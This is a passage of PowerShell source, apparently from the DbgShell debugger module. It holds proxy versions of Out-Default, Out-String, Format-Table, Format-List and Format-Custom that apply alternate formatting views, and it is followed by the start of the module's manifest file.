$private:enableDebugSpew = $false if( $__formatDefaultProxyDebugSpew ) { $enableDebugSpew = $true } #[Console]::WriteLine( "Out-Default proxy begin" ) try { $private:currentFormatInfo = $null $private:currentSteppablePipeline = $null # TODO: What if someone else is also trying to proxy Out-Default? $private:outDefaultWrappedCmd = $ExecutionContext.InvokeCommand.GetCommand( 'Out-Default', [System.Management.Automation.CommandTypes]::Cmdlet ) $private:outBuffer = $null if( $PSBoundParameters.TryGetValue( 'OutBuffer', [ref] $outBuffer ) ) { $PSBoundParameters[ 'OutBuffer' ] = 1 } } catch { $e = $_ [System.Console]::WriteLine( "Out-Default begin: OH NOES: $e" ) throw } finally { } } # end begin block process { if( $enableDebugSpew ) { [Console]::WriteLine( " ======== Out-Default proxy: process ========" ) [Console]::WriteLine( ' $PSBoundParameters:' ) foreach( $key in $PSBoundParameters.Keys ) { $val = $PSBoundParameters[ $key ] if( $null -eq $val ) { $val = "" } [Console]::WriteLine( " [$($key)]: $($val)" ) } } try { $private:objToDealWith = $null [bool] $private:bindUsingInputObject = $false if( $null -eq $_ ) { if( $enableDebugSpew ) { [Console]::WriteLine( " OdProxy: Dollar-underbar is null." ) } $objToDealWith = $InputObject $bindUsingInputObject = $true } else { if( $enableDebugSpew ) { [Console]::WriteLine( " OdProxy: Dollar-underbar object of type: {0}", $_.GetType().FullName ) } $objToDealWith = $_ # Things get messed up in the child steppable pipeline if both $_ and # $InputObject are set. (I don't know why; they're both set here...) [void] $PSBoundParameters.Remove( 'InputObject' ) } if( $null -eq $objToDealWith ) # TODO: Do I need to handle [System.Management.Automation.Internal.AutomationNull]::Value? { return } $private:enumerable = GetEnumerable $objToDealWith if( $null -ne $enumerable ) { $null = $PSBoundParameters.Remove( 'InputObject' ) Enumerate $enumerable | Out-Default @PSBoundParameters return } # end if( it's enumerable ) $private:formatInfo = Get-AltFormatViewDef -ForObject $objToDealWith if( $null -eq $formatInfo ) { #[console]::WriteLine( "Did not find a formatInfo." ) if( ($null -ne $currentFormatInfo) -or ($null -eq $currentSteppablePipeline) ) { # Need to start up an Out-Default pipeline if( $null -ne $currentSteppablePipeline ) { $currentSteppablePipeline.End() } $global:HostSupportsColor = $false $private:outDefaultScriptCmd = { & $private:outDefaultWrappedCmd @PSBoundParameters } $currentSteppablePipeline = $private:outDefaultScriptCmd.GetSteppablePipeline( $myInvocation.CommandOrigin ) $currentSteppablePipeline.Begin( $PSCmdlet ) } # else we keep using the $currentSteppablePipeline } else { if( ($null -eq $currentFormatInfo) -or ($currentFormatInfo -ne $formatInfo) ) { #[console]::WriteLine( "Starting a new pipeline for a known formatInfo of type {0}.", $formatInfo.GetType().FullName ) # Need to start up a new pipeline for the new formatInfo. if( $null -ne $currentSteppablePipeline ) { $currentSteppablePipeline.End() $global:HostSupportsColor = $originalColorSupport } $private:fullCmdName = $formatInfo.FormatCommand if( $null -ne $formatInfo.Module ) { $fullCmdName = $formatInfo.Module + '\' + $fullCmdName } $private:formatCmd = $ExecutionContext.InvokeCommand.GetCommand( $fullCmdName, [System.Management.Automation.CommandTypes]::All ) # TODO: what if we can't find it # TODO: comment below accurate? # Notice that we pipe the results to the original # Out-Default, else we wouldn't see any output. $private:scriptCmd = { & $formatCmd -FormatInfo $formatInfo @PSBoundParameters | & $private:outDefaultWrappedCmd } $currentSteppablePipeline = $scriptCmd.GetSteppablePipeline( $myInvocation.CommandOrigin ) $currentSteppablePipeline.Begin( $PSCmdlet ) } else { #[console]::WriteLine( "Using existing pipeline for a known formatInfo of type {0}.", $currentFormatInfo.GetType().FullName ) } } # TODO: Assert $null -ne $currentSteppablePipeline $private:currentFormatInfo = $formatInfo if( $bindUsingInputObject ) { $currentSteppablePipeline.Process( $null ) } else { $currentSteppablePipeline.Process( $objToDealWith ) } } catch { $e = $_ [System.Console]::WriteLine( "Out-Default: OH NOES: $e" ) $global:HostSupportsColor = $originalColorSupport throw } finally { } } # end process block end { try { if( $null -ne $currentSteppablePipeline ) { $currentSteppablePipeline.End() } } catch { $e = $_ [System.Console]::WriteLine( "Out-Default end: OH NOES: $e" ) throw } finally { $global:HostSupportsColor = $originalColorSupport } } # end end block <# .ForwardHelpTargetName Out-Default .ForwardHelpCategory Cmdlet #> } # end Out-Default proxy function Out-String { [CmdletBinding( HelpUri = 'http://go.microsoft.com/fwlink/?LinkID=113368', RemotingCapability = 'None' )] param( [switch] ${Stream}, [ValidateRange( 2, 2147483647 )] [int] ${Width}, [Parameter( ValueFromPipeline = $true )] [PSObject] ${InputObject} ) begin { [bool] $private:originalColorSupport = $HostSupportsColor [bool] $private:enableDebugSpew = $false if( $__formatStringProxyDebugSpew ) { $enableDebugSpew = $true } #[Console]::WriteLine( "Out-String proxy begin" ) try { $private:currentFormatInfo = $null $private:currentSteppablePipeline = $null # TODO: What if someone else is also trying to proxy Out-String? $private:outStringWrappedCmd = Get-Command 'OutStringColorShim' $private:outBuffer = $null if( $PSBoundParameters.TryGetValue( 'OutBuffer', [ref] $outBuffer ) ) { $PSBoundParameters[ 'OutBuffer' ] = 1 } $private:OutStringOnlyParams = @{ } if( $PSBoundParameters.Remove( 'Width' ) ) { $OutStringOnlyParams[ 'Width' ] = $Width } if( $PSBoundParameters.Remove( 'Stream' ) ) { $OutStringOnlyParams[ 'Stream' ] = $Stream } # TODO: I don't think I handle -Stream properly when the alt formatting engine is in play. # TODO: Also, width. And can I game it for ColorStrings? } catch { $e = $_ [System.Console]::WriteLine( "Out-String begin: OH NOES: $e" ) throw } finally { } } # end begin block process { if( $enableDebugSpew ) { [Console]::WriteLine( " ======== Out-String proxy: process ========" ) [Console]::WriteLine( ' $PSBoundParameters:' ) foreach( $key in $PSBoundParameters.Keys ) { $val = $PSBoundParameters[ $key ] if( $null -eq $val ) { $val = "" } [Console]::WriteLine( " [$($key)]: $($val)" ) } } try { $private:objToDealWith = $null [bool] $private:bindUsingInputObject = $false if( $null -eq $_ ) { if( $enableDebugSpew ) { [Console]::WriteLine( " OsProxy: Dollar-underbar is null." ) } $objToDealWith = $InputObject $bindUsingInputObject = $true } else { if( $enableDebugSpew ) { [Console]::WriteLine( " OsProxy: Dollar-underbar object of type: {0}", $_.GetType().FullName ) } $objToDealWith = $_ # Things get messed up in the child steppable pipeline if both $_ and # $InputObject are set. (I don't know why; they're both set here...) [void] $PSBoundParameters.Remove( 'InputObject' ) } if( $null -eq $objToDealWith ) # TODO: Do I need to handle [System.Management.Automation.Internal.AutomationNull]::Value? { return } $private:enumerable = GetEnumerable $objToDealWith if( $null -ne $enumerable ) { $null = $PSBoundParameters.Remove( 'InputObject' ) Enumerate $enumerable | Out-String @PSBoundParameters return } # end if( it's enumerable ) $private:formatInfo = Get-AltFormatViewDef -ForObject $objToDealWith if( $null -eq $formatInfo ) { #[console]::WriteLine( "Did not find a formatInfo." ) if( ($null -ne $currentFormatInfo) -or ($null -eq $currentSteppablePipeline) ) { # Need to start up an Out-String pipeline if( $null -ne $currentSteppablePipeline ) { $currentSteppablePipeline.End() } $global:HostSupportsColor = $false $private:outStringScriptCmd = { & $private:outStringWrappedCmd @PSBoundParameters @OutStringOnlyParams } $currentSteppablePipeline = $private:outStringScriptCmd.GetSteppablePipeline( $myInvocation.CommandOrigin ) $currentSteppablePipeline.Begin( $PSCmdlet ) } # else we keep using the $currentSteppablePipeline } else { if( ($null -eq $currentFormatInfo) -or ($currentFormatInfo -ne $formatInfo) ) { #[console]::WriteLine( "Starting a new pipeline for a known formatInfo of type {0}.", $formatInfo.GetType().FullName ) # Need to start up a new pipeline for the new formatInfo. if( $null -ne $currentSteppablePipeline ) { $currentSteppablePipeline.End() $global:HostSupportsColor = $originalColorSupport } $private:fullCmdName = $formatInfo.FormatCommand if( $null -ne $formatInfo.Module ) { $fullCmdName = $formatInfo.Module + '\' + $fullCmdName } $private:formatCmd = $ExecutionContext.InvokeCommand.GetCommand( $fullCmdName, [System.Management.Automation.CommandTypes]::All ) # TODO: what if we can't find it # TODO: comment below accurate? # Notice that we pipe the results to the original # Out-String, else we wouldn't see any output. $private:scriptCmd = { & $formatCmd -FormatInfo $formatInfo @PSBoundParameters | & $private:outStringWrappedCmd @OutStringOnlyParams } $currentSteppablePipeline = $scriptCmd.GetSteppablePipeline( $myInvocation.CommandOrigin ) $currentSteppablePipeline.Begin( $PSCmdlet ) } else { #[console]::WriteLine( "Using existing pipeline for a known formatInfo of type {0}.", $currentFormatInfo.GetType().FullName ) } } # TODO: Assert $null -ne $currentSteppablePipeline $private:currentFormatInfo = $formatInfo if( $bindUsingInputObject ) { $currentSteppablePipeline.Process( $null ) } else { $currentSteppablePipeline.Process( $objToDealWith ) } } catch { $e = $_ [System.Console]::WriteLine( "Out-String: OH NOES: $e" ) $global:HostSupportsColor = $originalColorSupport throw } finally { } } # end process block end { try { if( $null -ne $currentSteppablePipeline ) { $currentSteppablePipeline.End() } } catch { $e = $_ [System.Console]::WriteLine( "Out-String end: OH NOES: $e" ) throw } finally { $global:HostSupportsColor = $originalColorSupport } } # end end block <# .ForwardHelpTargetName Out-String .ForwardHelpCategory Cmdlet #> } # end Out-String proxy function Format-Table { [CmdletBinding( HelpUri = 'http://go.microsoft.com/fwlink/?LinkID=113303' )] param( [switch] ${AutoSize}, [switch] ${HideTableHeaders}, [switch] ${Wrap}, [Parameter( Position = 0 )] [System.Object[]] ${Property}, [System.Object] ${GroupBy}, [string] ${View}, [switch] ${ShowError}, [switch] ${DisplayError}, [Alias( 'f' )] [switch] ${Force}, [ValidateSet( 'CoreOnly', 'EnumOnly', 'Both' )] [string] ${Expand}, [Parameter( ValueFromPipeline = $true )] [psobject] ${InputObject}, [Parameter( Mandatory = $false )] [MS.Dbg.Formatting.IFormatInfo] ${FormatInfo} ) begin { [bool] $private:originalColorSupport = $HostSupportsColor [bool] $private:useSuppliedView = $false [bool] $private:enableDebugSpew = $false if( $__formatTableProxyDebugSpew ) { $enableDebugSpew = $true } try { if( [string]::IsNullOrEmpty( $Expand ) ) { $Expand = 'EnumOnly' } $private:currentTableViewDef = $null $private:currentSteppablePipeline = $null $private:outBuffer = $null if( $PSBoundParameters.TryGetValue( 'OutBuffer', [ref] $outBuffer ) ) { $PSBoundParameters[ 'OutBuffer' ] = 1 } $private:tmp = $null if( $PSBoundParameters.TryGetValue( 'Expand', [ref] $tmp ) ) { # Don't do enumeration recursively. $PSBoundParameters[ 'Expand' ] = 'CoreOnly' } if( $null -ne $FormatInfo ) { $useSuppliedView = $true } } catch { $e = $_ [System.Console]::WriteLine( "OH NOES (Format-Table begin): $e" ) throw } finally { } } # end 'begin' block process { if( $enableDebugSpew ) { [Console]::WriteLine( " ======== Format-Table proxy: process ========" ) [Console]::WriteLine( ' $PSBoundParameters:' ) foreach( $key in $PSBoundParameters.Keys ) { $val = $PSBoundParameters[ $key ] if( $null -eq $val ) { $val = "" } [Console]::WriteLine( " [$($key)]: $($val)" ) } } try { $private:objToDealWith = $null [bool] $private:bindUsingInputObject = $false if( $null -eq $_ ) { if( $enableDebugSpew ) { [Console]::WriteLine( " FtProxy: Dollar-underbar is null." ) [Console]::WriteLine( " FtProxy: `$InputObject is type: {0}", $InputObject.GetType().FullName ) } $objToDealWith = $InputObject $bindUsingInputObject = $true } else { if( $enableDebugSpew ) { [Console]::WriteLine( " FtProxy: Dollar-underbar object of type: {0}", $_.GetType().FullName ) } $objToDealWith = $_ # Things get messed up in the child steppable pipeline if both $_ and # $InputObject are set. (I don't know why; they're both set here...) [void] $PSBoundParameters.Remove( 'InputObject' ) } if( $null -eq $objToDealWith ) # TODO: Do I need to handle [System.Management.Automation.Internal.AutomationNull]::Value? { return } # If -Expand Both, then we always format the current object as a list, then # enumerate it and apply the desired formatting to those. [bool] $private:skipNormalFormatting = $false $private:enumerable = GetEnumerable $objToDealWith if( $null -ne $enumerable ) { if( $Expand -eq 'CoreOnly' ) { # Nothing to do. Proceed as normal. } elseif( $Expand -eq 'EnumOnly' ) { $null = $PSBoundParameters.Remove( 'InputObject' ) $PSBoundParameters[ 'Expand' ] = 'CoreOnly' Enumerate $enumerable | Format-Table @PSBoundParameters return } elseif( $Expand -eq 'Both' ) { "The following object supports IEnumerable:`n" # This matches the behavior of built-in F+O. $skipNormalFormatting = $true Format-List -InputObject $objToDealWith -Expand CoreOnly } else { # Should be impossible to get here. throw "Unexpected `$Expand value: $($Expand)." } } # end if( it's enumerable ) if( !$skipNormalFormatting ) { $private:_formatInfo = $null if( $useSuppliedView ) { ${_formatInfo} = $FormatInfo } else { ${_formatInfo} = Get-AltFormatViewDef -ForObject $objToDealWith ` -FormatInfoType ([MS.Dbg.Formatting.AltTableViewDefinition]) } if( $null -eq ${_formatInfo} ) { if( ($null -ne $private:currentTableViewDef) -or ($null -eq $currentSteppablePipeline) ) { # Need to start up a Format-Table pipeline if( $null -ne $currentSteppablePipeline ) { $currentSteppablePipeline.End() } $global:HostSupportsColor = $false $private:formatTableWrappedCmd = $ExecutionContext.InvokeCommand.GetCommand( 'Format-Table', [System.Management.Automation.CommandTypes]::Cmdlet ) $private:formatTableScriptCmd = { & $private:formatTableWrappedCmd @PSBoundParameters | OutStringColorShim -Stream | TrimStream } #$private:formatTableScriptCmd = { & $private:formatTableWrappedCmd @PSBoundParameters } $currentSteppablePipeline = $private:formatTableScriptCmd.GetSteppablePipeline( $myInvocation.CommandOrigin ) $currentSteppablePipeline.Begin( $PSCmdlet ) } # else we keep using the $currentSteppablePipeline } else { if( ($null -eq $private:currentTableViewDef) -or ($private:currentTableViewDef -ne ${_formatInfo}) ) { # Need to start up a new pipeline for the new _formatInfo. if( $null -ne $currentSteppablePipeline ) { $currentSteppablePipeline.End() $global:HostSupportsColor = $originalColorSupport } $private:fullCmdName = 'Debugger\Format-AltTable' $private:formatCmd = $ExecutionContext.InvokeCommand.GetCommand( $fullCmdName, [System.Management.Automation.CommandTypes]::All ) [void] $PSBoundParameters.Remove( 'FormatInfo' ) # in case it was explicitly passed. $private:scriptCmd = { & $formatCmd -FormatInfo ${_formatInfo} @PSBoundParameters } $currentSteppablePipeline = $scriptCmd.GetSteppablePipeline( $myInvocation.CommandOrigin ) $currentSteppablePipeline.Begin( $PSCmdlet ) } } # TODO: Assert $null -ne $currentSteppablePipeline $private:currentTableViewDef = ${_formatInfo} if( $bindUsingInputObject ) { $currentSteppablePipeline.Process( $null ) } else { $currentSteppablePipeline.Process( $objToDealWith ) } } # end if( !$skipNormalFormatting ) if( ($null -ne $enumerable) -and ($Expand -eq 'Both') ) { if( $null -ne $currentSteppablePipeline ) { # We need to end this first. The built-in Out-Default does not like to # be recursive, and if we wait until after we do the enumeration to # end this pipeline, when we end the Out-Default, it sends out some # GroupEnd and FormatEnd formatting objects, and they get unhappy. $currentSteppablePipeline.End() $currentSteppablePipeline = $null } # The built-in F+O counts how many objects in the enumerable to put into this message. Why do that? "`nThe IEnumerable contains the following objects:`n" #foreach( $eItem in $enumerable ) #{ # $PSBoundParameters[ 'InputObject' ] = $eItem # $PSBoundParameters[ 'Expand' ] = 'CoreOnly' # Format-Table @PSBoundParameters #} [void] $PSBoundParameters.Remove( 'InputObject' ) $PSBoundParameters[ 'Expand' ] = 'CoreOnly' Enumerate $enumerable | Format-Table @PSBoundParameters } # end if( $enumerable ) } catch { $e = $_ [System.Console]::WriteLine( "OH NOES (Format-Table process): $e" ) $global:HostSupportsColor = $originalColorSupport throw } finally { } } # end 'process' block end { try { if( $null -ne $currentSteppablePipeline ) { $currentSteppablePipeline.End() } } catch { $e = $_ [System.Console]::WriteLine( "OH NOES (Format-Table end): $e" ) throw } finally { $global:HostSupportsColor = $originalColorSupport } } # end 'end' block <# .ForwardHelpTargetName Format-Table .ForwardHelpCategory Cmdlet #> } # end Format-Table proxy function Format-List { [CmdletBinding( HelpUri = 'http://go.microsoft.com/fwlink/?LinkID=113302' )] param( [Parameter( Position = 0 )] [System.Object[]] ${Property}, [System.Object] ${GroupBy}, [string] ${View}, [switch] ${ShowError}, [switch] ${DisplayError}, [Alias( 'f' )] [switch] ${Force}, [ValidateSet( 'CoreOnly', 'EnumOnly', 'Both' )] [string] ${Expand}, [Parameter( ValueFromPipeline = $true )] [psobject] ${InputObject}, [Parameter( Mandatory = $false )] [MS.Dbg.Formatting.IFormatInfo] ${FormatInfo} ) begin { [bool] $private:originalColorSupport = $HostSupportsColor [bool] $private:useSuppliedView = $false [bool] $private:enableDebugSpew = $false if( $__formatListProxyDebugSpew ) { $enableDebugSpew = $true } try { if( [string]::IsNullOrEmpty( $Expand ) ) { $Expand = 'EnumOnly' } $private:currentListViewDef = $null $private:currentSteppablePipeline = $null $private:outBuffer = $null if( $PSBoundParameters.TryGetValue( 'OutBuffer', [ref] $outBuffer ) ) { $PSBoundParameters[ 'OutBuffer' ] = 1 } $private:tmp = $null if( $PSBoundParameters.TryGetValue( 'Expand', [ref] $tmp ) ) { # Don't do enumeration recursively. $PSBoundParameters[ 'Expand' ] = 'CoreOnly' } if( $null -ne $FormatInfo ) { $useSuppliedView = $true } } catch { $e = $_ [System.Console]::WriteLine( "OH NOES (Format-List begin): $e" ) throw } finally { } } # end 'begin' block process { if( $enableDebugSpew ) { [Console]::WriteLine( " ======== Format-List proxy: process ========" ) [Console]::WriteLine( ' $PSBoundParameters:' ) foreach( $key in $PSBoundParameters.Keys ) { $val = $PSBoundParameters[ $key ] if( $null -eq $val ) { $val = "" } [Console]::WriteLine( " [$($key)]: $($val)" ) } } try { $private:objToDealWith = $null [bool] $private:bindUsingInputObject = $false if( $null -eq $_ ) { if( $enableDebugSpew ) { [Console]::WriteLine( " FlProxy: Dollar-underbar is null." ) [Console]::WriteLine( " FlProxy: `$InputObject is type: {0}", $InputObject.GetType().FullName ) } $objToDealWith = $InputObject $bindUsingInputObject = $true } else { if( $enableDebugSpew ) { [Console]::WriteLine( " FlProxy: Dollar-underbar object of type: {0}", $_.GetType().FullName ) } $objToDealWith = $_ # Things get messed up in the child steppable pipeline if both $_ and # $InputObject are set. (I don't know why; they're both set here...) [void] $PSBoundParameters.Remove( 'InputObject' ) } if( $null -eq $objToDealWith ) # TODO: Do I need to handle [System.Management.Automation.Internal.AutomationNull]::Value? { return } # If -Expand Both, then we always format the current object as a list, then # enumerate it and apply the desired formatting to those. [bool] $private:skipNormalFormatting = $false $private:enumerable = GetEnumerable $objToDealWith if( $null -ne $enumerable ) { if( $Expand -eq 'CoreOnly' ) { # Nothing to do. Proceed as normal. } elseif( $Expand -eq 'EnumOnly' ) { $null = $PSBoundParameters.Remove( 'InputObject' ) $PSBoundParameters[ 'Expand' ] = 'CoreOnly' Enumerate $enumerable | Format-List @PSBoundParameters return } elseif( $Expand -eq 'Both' ) { "The following object supports IEnumerable:`n" # This matches the behavior of built-in F+O. $skipNormalFormatting = $true Format-List -InputObject $objToDealWith -Expand CoreOnly } else { # Should be impossible to get here. throw "Unexpected `$Expand value: $($Expand)." } } # end if( it's enumerable ) if( !$skipNormalFormatting ) { $private:_formatInfo = $null if( $useSuppliedView ) { ${_formatInfo} = $FormatInfo } else { ${_formatInfo} = Get-AltFormatViewDef -ForObject $objToDealWith ` -FormatInfoType ([MS.Dbg.Formatting.AltListViewDefinition]) } if( $null -eq ${_formatInfo} ) { if( ($null -ne $private:currentListViewDef) -or ($null -eq $currentSteppablePipeline) ) { # Need to start up a Format-List pipeline if( $null -ne $currentSteppablePipeline ) { $currentSteppablePipeline.End() } $global:HostSupportsColor = $false $private:formatListWrappedCmd = $ExecutionContext.InvokeCommand.GetCommand( 'Format-List', [System.Management.Automation.CommandTypes]::Cmdlet ) $private:formatListScriptCmd = { & $private:formatListWrappedCmd @PSBoundParameters | OutStringColorShim -Stream | TrimStream } #$private:formatListScriptCmd = { & $private:formatListWrappedCmd @PSBoundParameters } $currentSteppablePipeline = $private:formatListScriptCmd.GetSteppablePipeline( $myInvocation.CommandOrigin ) $currentSteppablePipeline.Begin( $PSCmdlet ) } # else we keep using the $currentSteppablePipeline } else { if( ($null -eq $private:currentListViewDef) -or ($private:currentListViewDef -ne ${_formatInfo}) ) { # Need to start up a new pipeline for the new _formatInfo. if( $null -ne $currentSteppablePipeline ) { $currentSteppablePipeline.End() $global:HostSupportsColor = $originalColorSupport } $private:fullCmdName = 'Debugger\Format-AltList' $private:formatCmd = $ExecutionContext.InvokeCommand.GetCommand( $fullCmdName, [System.Management.Automation.CommandTypes]::All ) [void] $PSBoundParameters.Remove( 'FormatInfo' ) # in case it was explicitly passed. $private:scriptCmd = { & $formatCmd -FormatInfo ${_formatInfo} @PSBoundParameters } $currentSteppablePipeline = $scriptCmd.GetSteppablePipeline( $myInvocation.CommandOrigin ) $currentSteppablePipeline.Begin( $PSCmdlet ) } } # TODO: Assert $null -ne $currentSteppablePipeline $private:currentListViewDef = ${_formatInfo} if( $bindUsingInputObject ) { $currentSteppablePipeline.Process( $null ) } else { $currentSteppablePipeline.Process( $objToDealWith ) } } # end if( !$skipNormalFormatting ) if( ($null -ne $enumerable) -and ($Expand -eq 'Both') ) { if( $null -ne $currentSteppablePipeline ) { # We need to end this first. The built-in Out-Default does not like to # be recursive, and if we wait until after we do the enumeration to # end this pipeline, when we end the Out-Default, it sends out some # GroupEnd and FormatEnd formatting objects, and they get unhappy. $currentSteppablePipeline.End() $currentSteppablePipeline = $null } # The built-in F+O counts how many objects in the enumerable to put into this message. Why do that? "`nThe IEnumerable contains the following objects:`n" #foreach( $eItem in $enumerable ) #{ # $PSBoundParameters[ 'InputObject' ] = $eItem # $PSBoundParameters[ 'Expand' ] = 'CoreOnly' # Format-List @PSBoundParameters #} [void] $PSBoundParameters.Remove( 'InputObject' ) $PSBoundParameters[ 'Expand' ] = 'CoreOnly' Enumerate $enumerable | Format-List @PSBoundParameters } # end if( $enumerable ) } catch { $e = $_ [System.Console]::WriteLine( "OH NOES (Format-List process): $e" ) $global:HostSupportsColor = $originalColorSupport throw } finally { } } # end 'process' block end { try { if( $null -ne $currentSteppablePipeline ) { $currentSteppablePipeline.End() } } catch { $e = $_ [System.Console]::WriteLine( "OH NOES (Format-List end): $e" ) throw } finally { $global:HostSupportsColor = $originalColorSupport } } # end 'end' block <# .ForwardHelpTargetName Format-List .ForwardHelpCategory Cmdlet #> } # end Format-List proxy function Format-Custom { [CmdletBinding( HelpUri = 'http://go.microsoft.com/fwlink/?LinkID=113301' )] param( [Parameter( Position = 0 )] [System.Object[]] ${Property}, [ValidateRange( 1, 2147483647 )] [int] ${Depth}, [System.Object] ${GroupBy}, [string] ${View}, [switch] ${ShowError}, [switch] ${DisplayError}, [Alias( 'f' )] [switch] ${Force}, [ValidateSet( 'CoreOnly', 'EnumOnly', 'Both' )] [string] ${Expand}, [Parameter( ValueFromPipeline = $true )] [psobject] ${InputObject}, [Parameter( Mandatory = $false )] [MS.Dbg.Formatting.IFormatInfo] ${FormatInfo} ) begin { [bool] $private:originalColorSupport = $HostSupportsColor [bool] $private:useSuppliedView = $false [bool] $private:enableDebugSpew = $false if( $__formatCustomProxyDebugSpew ) { $enableDebugSpew = $true } try { if( [string]::IsNullOrEmpty( $Expand ) ) { $Expand = 'EnumOnly' } $private:currentCustomViewDef = $null $private:currentSteppablePipeline = $null $private:outBuffer = $null if( $PSBoundParameters.TryGetValue( 'OutBuffer', [ref] $outBuffer ) ) { $PSBoundParameters[ 'OutBuffer' ] = 1 } $private:tmp = $null if( $PSBoundParameters.TryGetValue( 'Expand', [ref] $tmp ) ) { # Don't do enumeration recursively. $PSBoundParameters[ 'Expand' ] = 'CoreOnly' } if( $null -ne $FormatInfo ) { $useSuppliedView = $true } } catch { $e = $_ [System.Console]::WriteLine( "OH NOES (Format-Custom begin): $e" ) throw } finally { } } # end 'begin' block process { if( $enableDebugSpew ) { [Console]::WriteLine( " ======== Format-Custom proxy: process ========" ) [Console]::WriteLine( ' $PSBoundParameters:' ) foreach( $key in $PSBoundParameters.Keys ) { $val = $PSBoundParameters[ $key ] if( $null -eq $val ) { $val = "" } [Console]::WriteLine( " [$($key)]: $($val)" ) } } try { $private:objToDealWith = $null [bool] $private:bindUsingInputObject = $false if( $null -eq $_ ) { if( $enableDebugSpew ) { [Console]::WriteLine( " FcProxy: Dollar-underbar is null." ) [Console]::WriteLine( " FcProxy: `$InputObject is type: {0}", $InputObject.GetType().FullName ) } $objToDealWith = $InputObject $bindUsingInputObject = $true } else { if( $enableDebugSpew ) { [Console]::WriteLine( " FcProxy: Dollar-underbar object of type: {0}", $_.GetType().FullName ) } $objToDealWith = $_ # Things get messed up in the child steppable pipeline if both $_ and # $InputObject are set. (I don't know why; they're both set here...) [void] $PSBoundParameters.Remove( 'InputObject' ) } if( $null -eq $objToDealWith ) # TODO: Do I need to handle [System.Management.Automation.Internal.AutomationNull]::Value? { return } # If -Expand Both, then we always format the current object as a list, then # enumerate it and apply the desired formatting to those. [bool] $private:skipNormalFormatting = $false $private:enumerable = GetEnumerable $objToDealWith if( $null -ne $enumerable ) { if( $Expand -eq 'CoreOnly' ) { # Nothing to do. Proceed as normal. } elseif( $Expand -eq 'EnumOnly' ) { $null = $PSBoundParameters.Remove( 'InputObject' ) $PSBoundParameters[ 'Expand' ] = 'CoreOnly' Enumerate $enumerable | Format-Custom @PSBoundParameters return } elseif( $Expand -eq 'Both' ) { "The following object supports IEnumerable:`n" # This matches the behavior of built-in F+O. $skipNormalFormatting = $true Format-List -InputObject $objToDealWith -Expand CoreOnly } else { # Should be impossible to get here. throw "Unexpected `$Expand value: $($Expand)." } } # end if( it's enumerable ) if( !$skipNormalFormatting ) { $private:_formatInfo = $null if( $useSuppliedView ) { ${_formatInfo} = $FormatInfo } else { ${_formatInfo} = Get-AltFormatViewDef -ForObject $objToDealWith ` -FormatInfoType ([MS.Dbg.Formatting.AltCustomViewDefinition]) } if( $null -eq ${_formatInfo} ) { if( ($null -ne $private:currentCustomViewDef) -or ($null -eq $currentSteppablePipeline) ) { # Need to start up a Format-Custom pipeline if( $null -ne $currentSteppablePipeline ) { $currentSteppablePipeline.End() } $global:HostSupportsColor = $false $private:formatCustomWrappedCmd = $ExecutionContext.InvokeCommand.GetCommand( 'Format-Custom', [System.Management.Automation.CommandTypes]::Cmdlet ) $private:formatCustomScriptCmd = { & $private:formatCustomWrappedCmd @PSBoundParameters | OutStringColorShim -Stream | TrimStream } #$private:formatCustomScriptCmd = { & $private:formatCustomWrappedCmd @PSBoundParameters } $currentSteppablePipeline = $private:formatCustomScriptCmd.GetSteppablePipeline( $myInvocation.CommandOrigin ) $currentSteppablePipeline.Begin( $PSCmdlet ) } # else we keep using the $currentSteppablePipeline } else { if( ($null -eq $private:currentCustomViewDef) -or ($private:currentCustomViewDef -ne ${_formatInfo}) ) { # Need to start up a new pipeline for the new _formatInfo. if( $null -ne $currentSteppablePipeline ) { $currentSteppablePipeline.End() $global:HostSupportsColor = $originalColorSupport } $private:fullCmdName = 'Debugger\Format-AltCustom' $private:formatCmd = $ExecutionContext.InvokeCommand.GetCommand( $fullCmdName, [System.Management.Automation.CommandTypes]::All ) [void] $PSBoundParameters.Remove( 'FormatInfo' ) # in case it was explicitly passed. $private:scriptCmd = { & $formatCmd -FormatInfo ${_formatInfo} @PSBoundParameters } $currentSteppablePipeline = $scriptCmd.GetSteppablePipeline( $myInvocation.CommandOrigin ) $currentSteppablePipeline.Begin( $PSCmdlet ) } } # TODO: Assert $null -ne $currentSteppablePipeline $private:currentCustomViewDef = ${_formatInfo} if( $bindUsingInputObject ) { $currentSteppablePipeline.Process( $null ) } else { $currentSteppablePipeline.Process( $objToDealWith ) } } # end if( !$skipNormalFormatting ) if( ($null -ne $enumerable) -and ($Expand -eq 'Both') ) { if( $null -ne $currentSteppablePipeline ) { # We need to end this first. The built-in Out-Default does not like to # be recursive, and if we wait until after we do the enumeration to # end this pipeline, when we end the Out-Default, it sends out some # GroupEnd and FormatEnd formatting objects, and they get unhappy. $currentSteppablePipeline.End() $currentSteppablePipeline = $null } # The built-in F+O counts how many objects in the enumerable to put into this message. Why do that? "`nThe IEnumerable contains the following objects:`n" #foreach( $eItem in $enumerable ) #{ # $PSBoundParameters[ 'InputObject' ] = $eItem # $PSBoundParameters[ 'Expand' ] = 'CoreOnly' # Format-Custom @PSBoundParameters #} [void] $PSBoundParameters.Remove( 'InputObject' ) $PSBoundParameters[ 'Expand' ] = 'CoreOnly' Enumerate $enumerable | Format-Custom @PSBoundParameters } # end if( $enumerable ) } catch { $e = $_ [System.Console]::WriteLine( "OH NOES (Format-Custom process): $e" ) $global:HostSupportsColor = $originalColorSupport throw } finally { } } # end 'process' block end { try { if( $null -ne $currentSteppablePipeline ) { $currentSteppablePipeline.End() } } catch { $e = $_ [System.Console]::WriteLine( "OH NOES (Format-Custom end): $e" ) throw } finally { $global:HostSupportsColor = $originalColorSupport } } # end 'end' block <# .ForwardHelpTargetName Format-Custom .ForwardHelpCategory Cmdlet #> } # end Format-Custom proxy ================================================ FILE: DbgShell/x64/Debugger/Debugger.psd1 ================================================ # # Module manifest for module 'Debugger' # @{ # Script module or binary module file associated with this manifest RootModule = 'DbgProvider.dll' # Version number of this module. ModuleVersion = '0.6' # ID used to uniquely identify this module GUID = '9fc4e260-6dbc-4546-8846-09549c766513' # Author of this module Author = 'Microsoft Corporation' # Company or vendor of this module CompanyName = 'Microsoft Corporation' # Copyright statement for this module Copyright = '(c) Microsoft Corporation. All rights reserved.' # Minimum version of the Windows PowerShell engine required by this module PowerShellVersion = '4.0' # Name of the Windows PowerShell host required by this module PowerShellHostName = '' # Minimum version of the Windows PowerShell host required by this module PowerShellHostVersion = '' # Minimum version of the .NET Framework required by this module DotNetFrameworkVersion = '4.5' # Minimum version of the common language runtime (CLR) required by this module CLRVersion = '4.0' # Processor architecture (None, X86, Amd64, IA64) required by this module ProcessorArchitecture = '' # Modules that must be imported into the global environment prior 